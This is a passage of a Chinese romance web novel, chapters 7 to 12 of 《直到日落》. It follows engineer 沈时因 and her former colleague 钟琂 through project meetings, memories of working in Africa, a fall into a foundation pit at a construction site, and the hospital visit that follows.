赵云萱扶额说:“几十年前的路,用的还是旧章程,我们只能尽量减少道路病害。” 钟琂倒没有想大刀阔斧修路的意思,他只是说:“那刃脚至少要绑四道钢筋,再现浇混凝土。” 沈时因跟变戏法似的再次拿出一张图纸,“有三处地方我打算使用未经冷拉的热轧光圆钢筋,直径20毫米,用螺纹套筒连接。” 钟琂拿起笔,轻飘飘地圈了几处地方。包括沈时因还没来得及标明的那三处地方,但不止三处。 这场会议一直持续到中午,要不是午饭送到,钟琂大有继续往下死磕到底的架势。 刘周平和钟琂都没说散会,那就只好就地打开快餐盒,摊开的图纸也没人收,反正随便对付几口还要继续。 沈时因在满桌狼藉中找到一点位置吃饭,赵云萱悄悄凑过来,朝上首一抬下巴,低声问:“那人一直是这样的风格?” 赵云萱性格爽朗,虽然没接触几次,但已经和沈时因混得很熟。 沈时因抬头看了一眼,钟琂没动筷子,而是在电脑前看起了邮件,大概在处理非洲那边的事。沈时因更小声地说:“差不多吧,他一向效率很高。我刚去非洲那阵,每次开会前都很紧张,怕自己准备不够全面。” 赵云萱捂着胸口说:“不 7. 第 7 章 《直到日落》全本免费阅读 沈时因匆匆忙忙地提着袋子上楼,把蛋糕放在了自己办公室的小冰箱里,再返回会议室时在场的人都很安静。 沈时因自认没有耽误太久,但气氛却是实打实的有些微妙。 她满腹疑惑地坐下,余光看见穿着浅色衬衣的钟琂将两侧衣袖都挽了起来,他的手掌宽大,指节修长,凸起的青筋从手背一路蜿蜒到小臂,像是在隐隐鼓噪跳动。 刘周平作为项目的负责人,手底下的人是他的精兵强将,钟琂又是尊来救场的大佛,手心手背都是肉,他自认有义务将这两方人马团结起来。大概是为了缓和气氛,刘周平对着沈时因竖起大拇指说:“男朋友挺帅啊。” 沈时因身形一僵,感受到许多目光都落在自己身上。沈时因平时从不说自己的私事,因此大家多少都对她的感情生活有那么一点好奇。 在这个当口,沈时因选择了实话实说:“他暂时还不是我的男朋友。” “暂时”两个字能给人的遐想很多,今天还不是,明天大概就会是了。 赵云萱一脸了然:“那就是追求者了。” 不过是一个无伤大雅的插曲,没有人太放在心上。稍作休息之后,下午的会议继续进行。主要讨论的点还是集中在围护结构究竟是用工法桩还是地下连续墙。 老城区的地下管道大多年久失修,问题一大堆,不仅要与新的独立舱结合,更是要给历史遗留问题做修复处理。庞大繁杂的交通问题让人压力很大,从结构力学讨论到如何能不影响市民出行,窗外的天色不知不觉暗了下去。 每个人心里都憋着一股劲,想在大型项目里崭露头角。因此钟琂反而变成了第一个表示要结束会议的人,即使他看起来依旧神采奕奕。 “时间不早了,今天就先这样吧。”钟琂一向要求高,但绝不是会压榨员工下班时间的那种上司。他把沈时因给他的图纸都按照顺序收起来,看样子是打算晚上回家再研究。 沈时因跟着人流一起走出会议室。她抱着电脑回到自己的办公室,赵云萱亦步亦趋地跟在后面:“你把你做的会议纪要给我发一份,特别是那些需要改动和再商议的地方。” 沈时因坐到办公桌后面,她给电脑插上充电器,打开内网。文件太大,传输得有些慢,沈时因托着脸,疲惫感这时候冒出了头。一想到还要再转三班地铁才能到家,她顿时感觉急需补充一些能量。 沈时因从冰箱里拿出芋泥蛋糕,问坐在对面的赵云萱:“要吃点吗?” 赵云萱从电脑屏幕前分神,笑着说:“行啊。” 事实证明脑力劳动对体力的消耗也是很巨大的,相对而坐的两人各自拿着一个叉子,一言不发地将各自面前的蛋糕都吃出了一个大坑。 赵云萱看着沈时因,忽然有感而发:“我也有个女儿,今年十岁。如果她以后能长成你这样,那我应该会很放心。” 沈时因满脑子都还是弯矩和配筋,她有些转不过来弯似的怔愣片刻,随即笑道:“赵工的女儿肯定会比我强。” 赵云萱将一块蛋糕放进嘴里,若有所思地说:“不过我的女儿如果要去非洲那样的地方工作三年,我大概还是会心疼的。特别是今天和钟琂共事过以后,我才深刻体会到你有多不容易,那样恶劣的工作环境,那样时刻绷紧的工作强度,一般人可做不下来。” 沈时因都被说得有些不好意思了,“其实也还好。能学到很多东西,也有快乐的时候。” “是么,”赵云萱放下叉子,好奇地问:“你在非洲都具体做了些什么?” 沈时因也停下手里动作,像是陷入了某些回忆:“刚开始参与修建了好几座信号塔,后来主要是修桥。” “什么桥?” “长度二十千米,横向八车道的斜拉桥。上百个桥墩,内置轻钢龙骨,基础结构是钢筋混凝土。”沈时因竭力想描述出这座桥的特别之处,但说到最后,她恍然发现这座桥其实与别的桥没有什么实质性的区别。是她自作主张要为它赋予太多别样的意义,因为它不仅连接了两片大陆、两个处在不同大洲的国家,还连接了她和钟琂。 赵云萱似乎也不觉得一座斜拉桥有什么了不起,她紧接着问:“那非洲是不是也特别美,你去看动物大迁徙了吗?” “看了。”沈时因垂下脸,不知想起了什么,轻笑道:“我看了动物迁徙,也亲眼目睹了天河之渡,住在野奢酒店感受过长颈鹿叫早,在乞力马扎罗的山脚下露营,看过漫天的繁星和赤道雪,还见到了全世界最美的草原和日落。” 落地窗外的闪烁灯光和电脑屏幕上不断晃动的文件传输数字都如浮光掠影一般快速移过,那些明明灭灭的光影落在沈时因的脸上,就像那些早已烙印在她心头的回忆。 沈时因听见自己说:“现在想来,我在非洲完全没有留下任何遗憾。” 正是那些波澜壮阔、恢宏盛大的场景让沈时因真切地认识到自己的渺小。在大自然面前,人类微不足道,那些快乐和痛苦也同样短暂易逝,这成为了她此后每一次逃离困境时的出口。哪怕是要离开那个曾经以为可以共度一生的人。 那样一个艰苦的、人人避之唯恐不及的蛮荒之地,沈时因惊讶地发现回想起所有与非洲的相关,竟然全都是美好。 赵云萱仿佛也沉浸在了沈时因所构建的美好画卷里,她感慨道:“看来我们都是被想象吓退了,真的迈出第一步就会发现其实没有那么糟。现在想想能在年轻的时候有这样一段人生经历也不错。” 对于未知的恐惧当然每个人都会有,沈时因说:“去之前我也无数次怀疑过这个决定是不是正确,身边的人也都劝我别去。随手一搜非洲相关的词条,第一个出现的就是疟疾,我甚至在踏上飞机的前一刻还在想要不要干脆别去了。” 更别提还有跟外婆没完没了的争吵。原本相依为命的祖孙俩第一次爆发大规模的争吵,沈外婆气得用拐杖指着沈时因的鼻子说:“我看你是长大了,翅膀硬了,外婆的话也不听。去那么远那么乱的地方,你要是死在外面了我连你最后一面都见不着!” 沈时因自己也害怕,但面对外婆偏要摆出一副坚定不移的模样:“我再也不要经历一次您生病住院,我只能拿出两万块钱的窘境!我就是要出去挣大钱,我靠自己的本事赚钱,就是死了也是为国捐躯。” 这对祖孙俩的相处模式相当奇怪,互相都不避讳将“死”字挂在嘴边,反正都已经经历过至亲的离去,那些曾经以为活不下去的日子也都熬过来了,那就没什么好避讳的。 沈外婆直言不讳道:“我现在这岁数能活几年算几年,要死就直接死去,才不平白给医院送钱。” 沈时因气得咬牙:“好多同事都在提前恭喜我升迁,就你这个老古董还想不明白!” “那既然这么好,他们怎么不去?” “你以为想去就能去的吗,你孙女我能力强才会被选上!”沈时因索性摔门而去。她忿忿地往前走,心里明知道外婆总会有老去的一天,可这一天真的到了,她却一点都不想面对。 她还没有强大到能够给外婆提供最好的生活,然而外婆已经在近几年查出了不少小毛病,腿脚也一天不如一天灵便。沈时因感受到一种巨大的惶恐,她必须要趁外婆还在的时候尽可能多地挣钱,这样才能在危机发生的时刻尽可能地延续外婆的生命。 当代社会,钱能买到最好的医疗,这是毋庸置疑的事实。时间仿佛在推着沈时因走,她知道自己必须要走出这一步。 同样激烈的争吵大概还发生过两三次,每一次沈时因都心意已决。随着出国的时间越来越近,沈外婆却忽然有一天想通了,长辈总是拗不过小辈的,她不再做无谓的阻拦,而是开始给沈时因做起了出国的准备。 沈时因也不知道还没学会上网的外婆从哪里得知了非洲蚊虫多,她买来许多轻薄布料,拿出落了灰的缝纫机,亲手给沈时因缝制了好几件棉麻长袖上衣。还手织了两套厚实的蚊帐,密实程度足以抵挡世界上最骁勇的蚊子。 沈 8. 第 8 章 《直到日落》全本免费阅读 沈时因将桌上剩下的芋泥蛋糕扔进垃圾桶,往包里收拾东西,她头也不抬地说:“不用了,我坐地铁回去。” 她看不见钟琂的神情,但也能隐约感觉到对方似乎是顿了一顿。钟琂没再说话,沈时因便当他是同意了,她提着包往外走,钟琂也跟在后面,一路无话地跟她进了同一部电梯。 走出公司大楼,地铁站离得很近,但排队的人群已经从地下排到了地上。附近有好几个互联网大厂,下班时间都挺晚,沈时因算是赶上了另一个层面上的晚高峰。 沈时因一言不发地走到队伍末端站定,她拿出耳机戴上,打算在回家路上听一听英文播客。 “沈时因。” 钟琂还是郑重其事地叫她的名字。 沈时因摘下一只耳机,也依旧用询问的目光看向他。 “关于新旧城区连接的管廊项目,我还有几个问题想问你。”钟琂说。 沈时因往后看了一眼,不过一会儿工夫她身后已经又多了十来个人,钟琂站在她旁边,没有并入队伍,显得有些突兀。 沈时因不确定钟琂是不是要跟她一起坐地铁,但在地铁上谈事情显然不是一个合适的选项。她认输一般把另一边耳机也摘下,问他:“你的车停在哪里?” “……负二层。”钟琂没有给沈时因太多考虑的时间,他侧身说:“你跟我来吧。” 沈时因跟在钟琂后面,刷工牌进入五分钟前刚刚出来的大楼。从电梯到地库,他们一路上都没遇到任何同事,打开车门后座坐进去的那一刻,沈时因不知为何松了口气。 钟琂连接上carplay,打开手机自带的地图,往搜索栏里输入沈时因家里的地址。 沈时因坐在后排,几次欲言又止,最终还是忍不住道:“你下一个国内的地图软件会更好,我们家那边修过路,自带地图可能更新不及时。” 钟琂退出软件,打开了下载界面,然后主动把手机朝上递了过来。 沈时因往屏幕上点了几下,下载了一个自己惯用的地图软件最新版本。她的余光暼到其它地方,相当诧异地问:“你也没有任何支付软件?” 沈时因左右划动了几下,确定钟琂的手机上的确没有,她拿出平时对外婆的口吻说:“国内早就不用现金了,就算能用也很麻烦,你要下载一个支付软件才方便消费。” 沈时因坐在后排中间的位置,此时整个人都往前倾,钟琂侧着身体,离她很近。沈时因低着头在他的手机上操作,钟琂能闻到她头发里洗发水若有似无的香味。 沈时因当然不认为钟琂接受新事物的能力和自家外婆差不多,大概还是因为根本就不想学,所以才没去研究。 他不过只在这里待十天……十天以后他会继续在地球的角落毫无后顾之忧地挥洒着热血,再在每年的特定节日回到美国西海岸与家人团聚,过回他的骄矜生活。他不会长久地留在这片土地上,因此也就不会做太多的打算。 沈时因突然觉得很没意思,她把手机递回去,然后往后退了退,系好安全带:“好了,出发吧。” 车子徐徐驶出地库,并入车水马龙的城市主干道。密闭的狭小空间内,钟琂没有放音乐,这让本就安静的车内显得更憋闷。 钟琂从后视镜里看了眼从出发起就一直望着车窗外的沈时因,总算想起了自己的“任务”。 “这个项目的工期是多久?” 沈时因愣了愣,反应过来这就是钟琂口中“几个问题”其中的一个。 “三个月。基坑已经开挖了,实际完工时间甚至有可能提前。”沈时因是有些惊讶于国内基建速度的,她不自觉地感叹道:“在非洲至少要大半年。” “不止,没一年下不来。这还得是管理层亲自下去挖土的效果。” 沈时因蓦地笑开,钟琂脸上也挂着笑,但他很快又敛起了神色,因为要搜肠刮肚地想下一个问题。 “刘周平好像也是你的校友?” “好像是,不过他比我早毕业很多年。”沈时因注意到钟琂口中的“也”字,她想起了郑意成,补充道:“毕竟我们学校的土木专业全国排名第一,大型建设集团也就那么几家,入职后遇到校友很正常。” “梁冉和郑意成去哪里度蜜月了?”钟琂很自然地将话题从工作过渡到了私生活。 “海岛,离得不太远,坐飞机两个小时。” 钟琂沉吟片刻,提议道:“我难得回来一趟,还想请郑意成和梁冉吃饭,到时候你也一起好吗。” 沈时因转过头,目光停留在钟琂的侧脸一瞬。她没说好,也没说不好,只是说:“到时候看看情况吧。” 话题到这里算是结束。钟琂一路压着迈速,但夜里的街道总归是畅通无阻的,他很快将车停在了沈时因家楼下。 沈时因打开车门:“谢谢你送我回来,再见。” 沈时因走下车,回过头才发现钟琂也下了车。 钟琂从前面绕过来,站在了沈时因面前。他站得惯常的板正,神情也有些凝重,似乎有话想说。 沈时因静静地等着,只听钟琂开口道:“你走了之后大家都很想你,特别是……” 夜风吹拂起沈时因落在肩头的长发,露出了她正在洗耳恭听的一张脸。沈时因屏住呼吸,听见钟琂补齐了最后半句话:“张工。” “张工?” 张士明是个粗枝大叶的老爷们,年纪差不多能当她爸,沈时因还不知道他什么时候有这般铁汉柔情了。 “对,他总是提到你。”钟琂突然很肯定地说:“他说你本来答应了要做下一个项目的结构工程师,结果说走就走,丢下他不管。” 沈时因面上有些挂不住,她当初的确没打算这么快回国,要不是为了与钟琂分手,她本来还打算在非洲再跟一个项目的。她垂着头,看着自己的脚说:“计划赶不上变化嘛。” 钟琂倒没有继续往下深究,他退而求其次地说:“以前的工作群组还没解散,你有空可以在里面跟大家说说话。” “行,我有空就去看看。” 沈时因作势要转身上楼 9. 第 9 章 《直到日落》全本免费阅读 沈时因发完之后没多久就睡着了,她第二天醒来看见张工的回复:【欢迎你回来,非洲大门随时为你敞开。】 张士明一向自诩大家长,有时候也会说自己是老妈子,沈时因仿佛能隔着屏幕看见他那苦口婆心的神态。 沈时因好笑地收起手机,开启了每天例行的地铁历险记。 沈时因依然是最早到的,她与钟琂前后脚踏进公司。她坐在自己的办公室里,钟琂因为是临时过来救场所以没有工位。沈时因能透过半透明的玻璃门看见钟琂走进了昨天的会议室,还坐在之前的位置。 钟琂从坐下起就一直盯着电脑,目不转睛。沈时因大着胆子看过去,发现他穿了一件以前从没见过的衬衣。除了正装,钟琂很少穿深色衣服,她忽然发觉原来深色也挺衬他,就是整个人看上去显得更不近人情了。 钟琂大概察觉到了她的目光,他用来“抗议”的方式是直接发来一封邮件。 沈时因打开内网,在看见钟琂的名字那一刻有点心虚。文件里,钟琂将昨天讨论的细节全都细致地列了出来,由轻重缓急和先后顺序分别标注了不同颜色。 原来钟琂也看见她了,知道她有工作之前查看邮件的习惯,所以把前一晚整理好的资料发了过来。沈时因接收完文件,给刘周平抄送了一份过去,当然也不忘回复钟琂“收到”。 沈时因在做这一切动作的时候感觉怪怪的,两个人明明只相隔几十米的距离,却偏偏要用电邮联系。仿佛面对面说话是犯了天条,谁也不愿意主动迈出这一步。 沈时因也没想到钟琂的下一封邮件内容会全然与工作无关,只有一句话:【我答应了要去看你外婆,你觉得哪天合适?】 在点开的一瞬,沈时因能感受到钟琂恶趣味地抬起了眼,跨越“千山万水”,好整以暇地看向了她。 沈时因将头埋在电脑前,一个字一个字地打道:【不用了,就是一句说辞,没有人会当真。】 【我不想让老人家失望。】 沈时因:【你去看她了,又很快消失在她的生命里。这样才会让人失望。】 沈时因点击发送,她的手指操控鼠标一直落在接收页面上方,但这一次钟琂很久都没有再回话。 开始有同事陆陆续续走进来,有的人手里提着早餐,更多的人会在经过的时候向沈时因打声招呼、寒暄两句。沈时因在明知道不会有人看见的情况下依然删掉了与钟琂最新的几条对话,关闭了页面。 这天没有会议,赵云萱也没过来。沈时因接收到了来自刘周平的工作要求,主要还是针对前一天的讨论修改图纸。 沈时因算了一天的应力,总算赶在下班时间把这一天的劳动成果汇总之后发给了刘周平。她从伏案工作中回神,伸了个懒腰,这才注意到会议室里正在进行激烈的争论。 钟琂说话的声音不大,但很铿锵有力,带着些不容置缳的魄力。对面的供应商情绪也很激动,时不时蹦出一些“预算”相关的字眼。 沈时因一向秉持着只要工作做完了就到点下班的原则。她担心引火上身,经过会议室的时候鬼鬼祟祟,一路飞奔进了地铁站。 站在车厢里,沈时因百无聊赖地计算起钟琂离开的时间。如果他周日上午打了疫苗,现在已经过去三天,也就是说再熬七天就能送走这尊大佛了。 沈时因长长舒出一口气,她也不知道自己为什么要用“熬”这个字,但钟琂的出现的确搅乱了她平静的生活。就像那个还没有来得及回答的问题,她就是做不到心绪如常地与钟琂共事,可那又怎样,反正只需要再熬七天。 钟琂的离开在沈时因这里摁下了倒计时,她第二天醒来的第一件事便是将心里那个数字减少到六。 出地铁站的时候沈时因有意磨蹭了一会儿,在电梯里如愿遇见了不少熟人,一起走出轿厢时也做到了目不斜视。 赵云萱出现的时候沈时因刚吃完午饭,她站在办公室门前长吁短叹:“第一个试验段出来了,大家都不太放心,想去现场看看。你没穿高跟鞋吧?” “没……”沈时因虽然也不爱去现场吃灰,但她还是很负责地收拾起了东西,“是要去验收?” “主要是确认有没有沉降,供应商那边的钢板也需要做最后的确认调整。钟琂还挺会压价,他和刘周平两个人一个唱白脸,一个唱红脸,把采购那边唬得一愣一愣的。”赵云萱笑着说:“我还以为钟琂只是来帮忙看看图纸,没想到他这么用心。” 沈时因跟在后面一起往外走,到了地库,赵云萱很自然地坐上了离得最近的钟琂的车,沈时因则是坐上了刘周平的车。 一辆车坐得满满当当,后排还有两个负责测量的同事,前排也坐了人。沈时因腿上又是电脑又是图纸的,她贴着门蜷起身子,尽量不影响身边人。 沈时因旁边是一个今年刚毕业的年轻男孩,叫汪宇。一个多小时的车程,汪宇嘴巴就没停过,他像是将钟琂视作偶像,句句话都不离钟琂。 沈时因本来想往旁边靠靠,让大家都坐得舒服些。但汪宇似乎没有这方面的自觉,反而将两条腿大大分开,一侧膝盖压在沈时因腿上,再加上他说话时手舞足蹈的夸张动作,手肘好几次都差点打到沈时因的脸。 车子驶离主干道,拐上坑坑洼洼的石子路,车里的人全都随着颠簸起起伏伏。沈时因抱着腿上的东西,好不容易等停好车,下来之后整个人都有些七荤八素。 面前是一个被盾构开挖出的圆柱形基坑,截面规则漂亮,刘周平很满意地往前走了几步,对另一个同事说:“记得拍几张照,赶在填土之前还能作为优秀隐蔽工程展示。” 监理和现场总工都在,分别站在不远处,一起对试验路段做初步评估。 钟琂没有跟随大部队往前走,而是关注起开挖顶端的状况。汪宇提着一个测距仪,始终不远不近地跟在钟琂后面,循着机会就跟他搭话、问问题。 “结构工程师过来一下。”钟琂回头说,他这时候看见脸色苍白的沈时因正靠在车边喝水。 不等沈时因有所反应,汪宇突然高声喝道:“喂,说你呢!叫你过来算数据!” 钟琂像是才发现身后还有另一个人的存在,他及时制住汪宇接下来的话,压着嗓子说:“你别那么大声吼,我们不赶时间。” 沈时因紧赶慢赶跑过来,手里捏着纸笔和一个计算器。 钟琂一向和沈时因配合得很好,但此时忽然有点后悔叫她过来,他顿了顿才说:“预埋的锚固件分布图你那有吗?” “有,等一下。”沈时因蹲下身,抽出两张递给钟琂:“分布图和具体型号在这里,拐角用的特殊环管片。” 刘周平踱着步走过来,对还在埋头看图纸的钟琂说:“掘进过程很顺利,新城区继续照这么挖应该没什么问题。你怎么看?” 钟琂也觉得不错,但他没有发表意见,只是说:“那就继续吧。” 刘周平走到一旁拍了两下手,他安排道:“汪宇过来测量,那个, 10. 第 10 章 《直到日落》全本免费阅读 沈时因抬起脸,看见好些人都围了过来,全都探出个脑袋,忧心忡忡地看着下面情景。耳边是许多呼救和尖叫的声音,还有人在打消防电话。 神智渐渐回笼,沈时因忽然发现刘周平也躺在地上,他蜷缩着身子,看上去比她还痛苦。钟琂在确认沈时因安全之后才有空去看刘周平,他问道:“刘工,你没事吧?” 刘周平轻轻地抽气,头上全是细密的汗,“坏了,脚好像扭了。我情急之下想去拉沈工,结果没注意也跟着摔了下来……半道上就感觉脚腕扭了一下,然后就半点力气也使不上了……后半段完全是砸下来的,嘶……” 基坑上方已经乱成了一锅粥,一场火急火燎的救援行动正在展开。现场总工让人拿来了吊笼,几个壮汉分别拉住四个角往下落。 钟琂一只手托住沈时因的腰,他说了声“抱着我”,另一只手扶起倒地的刘周平。沈时因抱着钟琂的脖子,把脸埋在他颈窝里,疼得几度想落泪。她没太看清具体发生了什么,只知道大伙和钟琂一起,好说歹说将两个人赶在消防员到来之前运了上来。 钟琂在下来之前急火攻心推了汪宇一把。汪宇被搡得跌坐在地上,深知自己做了错事,这时知道害怕了,木然地发着怔,人都救上来了他还坐在地上一动不动。 钟琂径直越过人群,他把刘周平交给别人,自己抱着沈时因上了车。沈时因靠坐在后排,从后视镜里看见刘周平被几个人抬着上了后面那辆车。 钟琂将车开得飞快,沈时因小心翼翼地卷起裤腿,看见右边小腿被石子划伤了一道口子,正汩汩往外冒着血珠。 沈时因别过视线,忽然想起了另一件重要的事:“我电脑呢?” 钟琂气得攥紧了方向盘,冷声说:“都什么时候了,还想着你那破电脑?” 沈时因看着钟琂青筋叠起的手腕和额角,他的身上脸上也都是土,衣袖脏污不堪,还沾上了几滴沈时因腿上的血。从认识以来,一向干净整齐的钟琂还没有过这么狼狈的时候。 沈时因不说话了,钟琂从后视镜里看了一眼,忍住气性:“你的东西他们会收起来的。” 除了一直在流血和被吓到了之外,沈时因逐渐意识到自己其实没什么大碍。钟琂将车停在医院门口,拉开车门又要抱她,沈时因连连摆手:“我可以自己走的。” 钟琂已经不想听她说话,抱起人就往急诊里走。沈时因远远听见刘周平的呼痛,她抬起眼越过钟琂的肩头,看见刘周平紧随其后,被一张担架抬着走进来。 直到进了诊室,沈时因的双脚还没落过地。钟琂和赵云萱,还有几个负责人都神情凝重地跟在后面走了进来,医生是个白发苍苍的老头,看见这阵仗还以为多大毛病,仔细一看才发现问题并不大。 沈时因的手腕擦破了皮,护士手法专业地消了毒。腿上的伤相比之下要严重一些,但也只是划伤,戴着老花镜的医生端详半晌,做出诊断:“要缝针也行,不缝也行,伤口不算深。只要血止住就好。” 随即又是例行的消毒,沈时因疼得皱起了脸。钟琂不论如何也无法接受这草率的决定,他厉声说:“这么严重的外伤,怎么能简单处理?至少也该拍张片子,照个ct。” “真的不用。”医生诚恳地回答,或许是见钟琂不好打发,他继续道:“你要是实在不放心,就缝几针,这样好得快。” “不行,怎么也该做个全身检查。她可是从那么高的地方……” “缝吧。”沈时因打断钟琂的话,她的神智很清醒,她确定自己的其它部位没有任何问题。 沈时因索性自己站起来,一瘸一拐地往旁边走,她对赵云萱说:“你们先出去吧,我自己去缝合室,你们在外面等我就行。” 沈时因被护士扶着躺到护理床,她很快被打了一针麻药,随后感受到针线在自己的皮肉里穿行。沈时因望向挂着白炽灯管的天花板,尽量分散自己的注意力,她想起来这好像是郑牧就职的医院。 缝好针之后医生递过来一张单子,口中交待了几句。门被打开再关上,室内只剩沈时因一个人,听着门外嘈杂的纷乱声响,她坐起身,一条条地阅读单子上的注意事项。 没过多久,赵云萱打开门走进来,她坐在病床前的凳子上,关切地问:“你现在感觉怎么样了?” “好多了,已经不怎么痛。” “那就好。”赵云萱长舒一口气,惊魂未定地说:“我还是第一次遇到这种事,还好不是几十米的基坑。” 沈时因点了点头,随即问起刘周平的情况。 “他还在检查。”赵云萱说,“刚刚汪宇过来,钟琂劈头盖脸就是一通训,把人都说哭了。我们都怕钟琂动手,几个护士也上来拦着他,后来大概考虑到是在医院,钟琂才姑且放过他。” 沈时因没说话,麻药的劲大概快过了,缝过针的地方又有些隐隐作痛。 “钟琂凶起来可真不是虚的。他现在又走到外面去给董事会打电话,骂他们是怎么招的人。” 赵云萱站起身,走到饮水机前用一次性纸杯接了杯水递给沈时因,她感慨道:“你和钟琂在非洲还真是……” 沈时因接过来的水差点洒出去,她急忙说:“我们在非洲只是普通的同事关系。” 赵云萱的手悬在半空中,一时忘了收回去。她不太自在地别了下头发,“我本来想说你们在非洲还真是培养起了革命情谊。” 赵云萱的手机响起,她说了句“我去接个电话”便离开。 赵云萱出去之后沈时因的脑子一直很乱,她严重怀疑自己是不是太草木皆兵,以至于不小心暴露了事实真相。还没等这件事情想明白,钟琂的推门而入让事态变得更复杂。 钟琂大概洗了把脸,垂下来的发丝上还挂着水珠。他的手指很凉,轻触到沈时因腿上的皮肤,让她打了个寒战。 钟琂触电一般收回手,他手足无措地坐在凳子上。比坐在床沿的沈时因矮了一头。 11. 第 11 章 《直到日落》全本免费阅读 郑牧已经殷切地迎了过来,鉴于他的医生身份,检查起沈时因的身体简直是顺理成章。 钟琂站起身让位,他走到窗边,目之所及都是医院中庭的花花草草。 沈时因笑着说:“我这个名字可独特了,没那么容易重名。以前班里流行过搜名字,我把我的名字输进去结果显示全国只有我一个人叫这个名。” 郑牧很佩服沈时因的好心态,“你怎么还有心情说笑?” 他弯下腰,很小心地捧起沈时因那截受伤的小腿,距离极近地观察了片刻,还用手揉了揉。最后得出结论:“没什么大问题,只是皮外伤,最近注意别剧烈运动。” 沈时因其实已经听过一遍诊断结果,但还是郑重其事地点点头:“我知道了,还好没伤着骨头。” “你那个同事,叫刘……” 沈时因:“刘周平?” “对,他的问题严重多了。扭伤了脚踝,估计得有两三个月没法正常走路。” 沈时因倒吸了一口凉气,“这么严重?” “所以啊,你可真是不幸中的万幸了。”郑牧语重心长地说:“以后可一定得小心。我才发现原来你们这行还是高危行业,我以前还以为就是坐在办公室画画图纸。” “要去现场考察肯定会有危险的。其实我们还好了,那些奋斗在一线的工人环境更恶劣。” 站在窗边的钟琂突然抬手整理了一下袖口。他身量高,动作幅度大,沈时因和郑牧都不自觉地往旁边看了一眼。 郑牧本来想跟沈时因单独待一会儿,但这个人没什么眼力见,站在旁边板着一张脸,不说话也不动,跟雕像似的。 郑牧索性坐在了沈时因旁边,他小声问:“这你同事?” 郑牧其实对钟琂有点印象,在婚礼上见过一次,他又长了一张好看得让人很难不去注意的脸,但他本来以为是郑意成的某个朋友。 郑牧是故意问的,这反倒提醒了沈时因应该介绍一下两人认识。 沈时因清了清嗓子,提高音量说:“郑牧,这是我的同事钟琂。” 钟琂还是没回头,沈时因只好对着他的后脑勺说:“钟琂,这是郑意成的堂弟郑牧。” 钟琂本来就一直关注着他们这边,可偏偏要等沈时因主动叫他才一副刚回过神的样子。 郑牧见他转过身,适时报以一个友好的微笑,但钟琂还是没什么反应,视线在郑牧脸上停了两秒,然后又回身看向窗外。 郑牧:“……” 钟琂看起来气度不凡,应该多少算是个老总。郑牧猜测他大概是遇到工地事故、下属受伤,或许还有后续的一系列麻烦事,那么心情不好也可以理解。因此郑牧很快就不去在意他的态度。 钟琂的确心情不好,但主要还是因为沈时因。钟琂觉得沈时因真是拎不清,对待自己这个救命恩人没什么好脸色,反而对一个毫不相干、无关紧要、不知道从哪里冒出来的人热络熟稔。 郑牧还在与沈时因窸窸窣窣地说话,他带来一个好消息:“上次跟你说的那几个护工时间都空出来了,我提前帮你考察过,都有照顾老人的经验,做事也勤快。周末就能来你家面试,你方便么?” “方便,太方便了。”沈时因喜笑颜开,“真是太感谢你了,等护工一来,外婆一个人在家我也能放心些。” “那就这么说定了,我周六再跟你联系。” 门再次被推开,一个护士走进来,对郑牧说了几句话,大致内容是某某病床的病人某某指标有了变动,问他该如何调整。 郑牧立即切换到专业态度,嘱咐了几句吊瓶里的液体要怎么换,蹦出一大堆专业术语,最后还在一张诊疗单上签了字。 沈时因发现置身于工作场景的郑牧和平时的郑牧很不一样。他的白大褂口袋里插了好多笔,说话时的语速也变得更快,脸上常常挂着能让人安心的浅笑,仿佛一切病痛在他这里都是可以迎刃而解的。 这种反差其实很好理解,再平凡庸常的人都总会有自己擅长的事和闪光点,人在执著投入的时候会增加一些魅力光环,在专业领域运筹帷幄的姿态又能将这些魅力再度放大。 护士一走,沈时因语带歉意地说:“你要是忙的话就先过去,我自己没问题的。” 钟琂在心中冷笑。她怎么就自己了?他还在这儿,就算他不管,赵云萱和一众同事也在,沈时因怎么都不是孤苦伶仃的。 “行,那我就先走了,一会儿再来看你。”郑牧一步三回头,打开门了还在依依不舍:“你可得注意休息啊,下次来拆线记得联系我。” 随着郑牧的离开,狭小的房间再次陷入漫长的寂静。钟琂没有坐回来,脸色也没有因此变得好看一点。 沈时因可不会顺着钟琂,她没打算去揣摩他的心思,手里有一搭没一搭地摆弄着手机。 “留观时间差不多到了,没什么事的话我送你回家。” 沈时因的视线里出现了一双脚,原来钟琂走路也没什么声音。她抬起脸说:“我还想去看看刘周平。” 钟琂很想让沈时因别到处乱跑,但说出来的话还是变成了:“那我带你过去。” 沈时因踩在地上,一蹦一跳地往外走,钟琂急追了两步,走上前扶住她的一侧手臂。 刘周平躺在另一个诊疗室,整个人看上去痛苦难当。包括赵云萱在内的几个人都站在旁边,像是想帮忙又无从下手。 注意到有人进来,赵云萱抬眼看过来,视线并未在沈时因和钟琂身上停留太久,神色也很自然。 “怎么样了?”钟琂问。 “估计还有一会儿,绑好支架才能回家修养。”一个同事说。 刘周平躺在床上,这时候也不忘对钟琂说:“我问过医生了,明天就能正常上班,就是走路不太方便,我让我老婆开车送我。” 沈时因有些于心不忍地说:“还是不要这么拼了……我可以正常上班,每天把推进的工作内容总结之后发给你。” 钟琂也赞同道:“我这几天可以暂时顶替你的职位。” 刘周平还是很坚决地表示要上班,他第一次负责这么大的项目,怎么都不想丢开手。 钟琂见他心意已决,没有再劝。“那我先送沈工回家,她那边没什么事了。” 钟琂扶着沈时因往外走,刚走出急诊大楼,钟琂忽然像想起来什么事一样停下,他把沈时因托付给一根柱子,语气匆匆地说:“你在这里等我一下。” 沈时因还以为他是忘了拿什么东西,她扶着柱子等了半晌,可等钟琂气势汹汹回来的时候手里拎着一个人。 汪宇的后领被钟琂攥住,他的体格本来就矮小许多,几乎一路上都是被拖着过来的。他整个人看上去既焦灼又害怕,眼神躲闪,双手抱头,实在很难让人将他与平时那个心高气傲的样子联系到一起。 沈时因在这个关键时刻走了神,她想到钟琂和汪宇还是很不一样。两个人身上都有些桀骜,但钟琂让人打心底里服气,也不那么让人讨厌。 12. 第 12 章 《直到日落》全本免费阅读 沈外婆打开门看见眼前的一幕吓了一跳,她急得团团转,束手无策地要去拿医药箱,嘴里不断念叨着“造孽啊”一类的词。 钟琂把沈时因放下来,扶着她走到沙发坐下。他搬来一张矮凳给她放脚,稍微安顿下来之后临时担当起了“发言人”的角色。 “其实没什么大事,已经去医院看过了。”钟琂对捧着医药箱、泪眼婆娑的沈外婆说:“伤口过几天就能恢复,这段时间只要注意不沾水就行。” 沈外婆絮絮叨叨地又说起那番话,大概是家里没个男人果然不行,她一个老太婆撑不起这个家云云。 沈时因听得耳朵都快起茧子了,她脖子一歪,仰躺在靠垫上,双目放空。 